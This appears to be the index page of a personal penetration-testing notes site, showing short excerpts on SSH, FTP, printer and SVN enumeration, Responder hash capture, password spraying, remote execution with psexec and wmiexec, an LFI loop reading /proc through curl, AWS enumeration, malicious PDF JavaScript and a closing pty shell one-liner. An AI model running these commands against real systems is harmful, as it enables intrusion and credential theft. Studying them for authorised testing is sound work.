akde/infosec

Information security is ultimately about managing risk


  • Enumeration Mandatory Try to access ssh ‑v $target Optional Reuse exist­ing credentials Brute-force with exist­ing user­names (Pass­word-spray­ing) Try ssh-audit $target Try known user­naes with user­name as pass­word or oth­er found strings. Privilege Escalation Find .ssh direc­to­ry on the file sys­tem and check all files within. Check sshd_config file. Check SSH ver­sion for exploits.


  • Enumeration Check the certificate Per­form SSL-Scan Go to Check­list 80 HTTP Optional if vul­ner­a­ble against heart­bleed, use msf> use openssl_heartbleed. Don’t for­get to use set ACTION KEYS or sim­i­lar (see info)


  • Enumeration Mandatory Check anony­mous login Try to cre­ate AND upload a file:  mkdir test put /tmp/test test Check login with at least the fol­low­ing credentials:  admin / admin admin / password Optional Down­load every­thing with wget and look for .dot files! Check login with new­ly found users Brute-force login Make sure to check admin / admin and oth­er usu­al com­bi­na­tions…


  • Each instal­la­tion has the fol­low­ing direc­to­ry structure: /document root /_vti_bin shtml.exe /_vti_adm admin.exe /_vti_aut author.exe The shtml.exe is for exe­cut­ing web brows­er guest’s code for a web page. author.exe and admin.exe not. Tools Spar­ty: Front­page Secu­ri­ty Audit tool.


  • Enumeration Mandatory Open the site in a Brows­er. Maybe a CUPS inter­face is available. Per­formnmap -p 631 $target --script cups-info Try the PRET Print­er Exploita­tion Toolk­it is use­ful for print­er hack­ing. See also HTB Laser (ippsec)python pret.py $target pcl


  • Check­out a repo: svn checkout svn://... Show log svn log Show infos svn info Show all branches svn ls svn://$victim --verbose The first num­ber from the pre­vi­ous com­mand shows the revi­sion. To see the con­tent of a repo for anoth­er revi­sion, add the r flag: svn ls svn://$victim --verbose -r 1 svn ls svn://$victim --verbose -r 2…


  • This site con­tains links to tools / tech­niques which can run in the back­ground dur­ing an engagement. Linux Windows


  • respon­der: Lis­ten with respon­der on a net­work and wait for AD sys­tems to ask for a DC. This can reveal a NTLM hash. (Source) Start respon­der on the own system: sudo responder -I tun0 --wpad Con­nect from the tar­get sys­tem to this sys­tem via smb. In the Win­dows explor­er, or in the com­mand line via dir…


  • Pass­word spray­ing: Try a few pass­words against a large set of users. Manual for u in Administrator Guest krbtgt DefaultAccount ryan marko sunita abigail marcus sally fred angela felicia gustavo ulf stevie claire paulo steve annette annika per claude melanie zach simon naoki; do rpcclient -W MEGABANK -U $u 10.10.10.169; done; With Pow­er­Shell Down­load Domain­Pass­word­Spray and…


  • Main con­cepts: Ten­ant The “space” which an orga­ni­za­tion “rents”. Has a name. Users Groups Appli­ca­tions Iden­ti­ty model  Cloud only Accounts are only in for­eign sys­tems (“cloud”) Syn­chro­nized Accounts are cre­at­ed and man­aged on-premise and syn­chro­nized to for­eign sys­tems (“cloud”) Fed­er­at­ed Accounts are cre­at­ed, man­aged and authen­tifi­cat­ed on-premise; for­eign sys­tems (“cloud”) are also check­ing againts a on-premise system.…


  • With username/password With psex­ec (Pre­req­ui­sites: ADMIN$ share is avail­able, the user is part of the local admin­is­tra­tor group on the target) With psex­ec via Metasploit use exploit/windows/smb/psexec With atex­ec (Impack­et) atexec.py dom/user:pass@$target cmd.exe With wmiex­ec wmiexec.py domain.local/$target:$password@$ip With Smbmap smbmap -u ariley -p 'pass' -d WORKGROUP -x 'whoami' -H $target With Wmic (To run a…


  • Auto­mates Win­dows enu­mer­a­tion. Github page Usage Seatbelt.exe -group=all Run Seatbelt.exe with­out argu­ments to see pos­si­ble para­me­ters. Example Seatbelt.exe OSInfo Processes Remote From anoth­er Win­dows sys­tem, seat­belt can con­nect to a vic­tim and per­form com­mands there. Seatbelt.exe LogonSessions -computername=$victim -username=bob -password=bobber Command aggregation There are already some groups defined which per­form mul­ti­ple tests at once. Seatbelt.exe -group=system [-computername=...]Seatbelt.exe…


  • Source on Github Cre­ates screen­shots from a list of URLs. Good way to get fast an over­wiew over a new site. With nmap, use ‑oA file to save the out­put also as XML file. Eye­Wit­ness can use this file via ‑x file and make screen­shots of all of this sites. EyeWitness.py --web -x webservers.xml


  • The usual order Network scan Detect hosts for a domain (use Seclist): for ip in $(cat common-subdomains.txt); do host $ip.megacorpone.com; done Reverse lookup: Find domains for addresses: for ip in $(seq 155 190); do host 50.7.67.$ip; done | grep -v "not found" Zonefile enumeration Grab zone­file from a ran­dom tar­get domain: host -a -l fraunhofer.de ns3.fraunhofer.de…


  • Vul­ner­a­bil­i­ty Assessment Pen­test Focus All vul­ner­a­bil­i­ties Only exploitable vulnerabilities Depth On the sur­face only On mul­ti­ple lay­ers (incl. pivoting) Risk Esti­mat­ed Enables for bet­ter esti­ma­tion due to com­bi­na­tion of vulnerabilities


  • For reverse engineering Devi­ce­name Con­tent /proc/$pid/maps Shows the mem­pory map­ping of a process. Includes all used libraries. /proc/self/loginuid Own UID. Read processes If you can read /proc via a LFI: #!/bin/bash for i in {1..1024} do echo $i curl http://10.10.11.154/index.php\?page=/proc/$i/cmdline --output /tmp/proc/$i done The, look in the /tmp/proc direc­to­ry for files > 0 byte. Read envi­ron­ment of…


  • Use pro­files: See https://github.com/eon01/AWS-CheatSheet for many com­mands or https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-access-token/ General Get Infos of the cur­rent used profile aws [--profile $profile] sts get-caller-identity Anoth­er pos­si­bil­i­ty to gain an ARN (with account id) is to call a non-exist­ing func­tion and to extract data from the error message. EC2 List all EC2 images = AMI’s: aws [--profile $profile] ec2…


  • The DPAPI is a Win­dows sys­tem which stored pass­words bound to the local system. In the user direc­to­ry there are the keys stored in the AppData\Roaming\Microsoft\Protect\<SID> directory. From the user’s pass­word, a mas­ter key is derived. When the user changes his pass­word, a new mas­ter key is gen­er­at­ed as well — and all old mas­ter…


  • Try this ressources if you can access files, but not list­ing them. http://pwnwiki.io/#!presence/windows/blind.md Cheat sheet 1 List In Apache and prob­a­bly more sys­tems you can “trav­el over” non-exist­ing files because the path is short­ened before check­ing the exis­tence of a file. Exam­ple: /test/test.txt/../../index.html will return in an Apache the root’s index.html even if the test direco­ry and…


  • This is how a PDF doc­u­ment looks — with a JavaScript exe­cu­tion. Note that with Ope­n­Ac­tion 6 (object block 6) this block is exe­cut­ed when the doc­u­ment is opened. Oth­er way to cre­ate a mali­cious PDF: Analyse a PDF file If a PDF file is com­pressed, decom­press it first. pdftk input.pdf output output.pdf uncompress Get details with Pdfin­fo…


About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';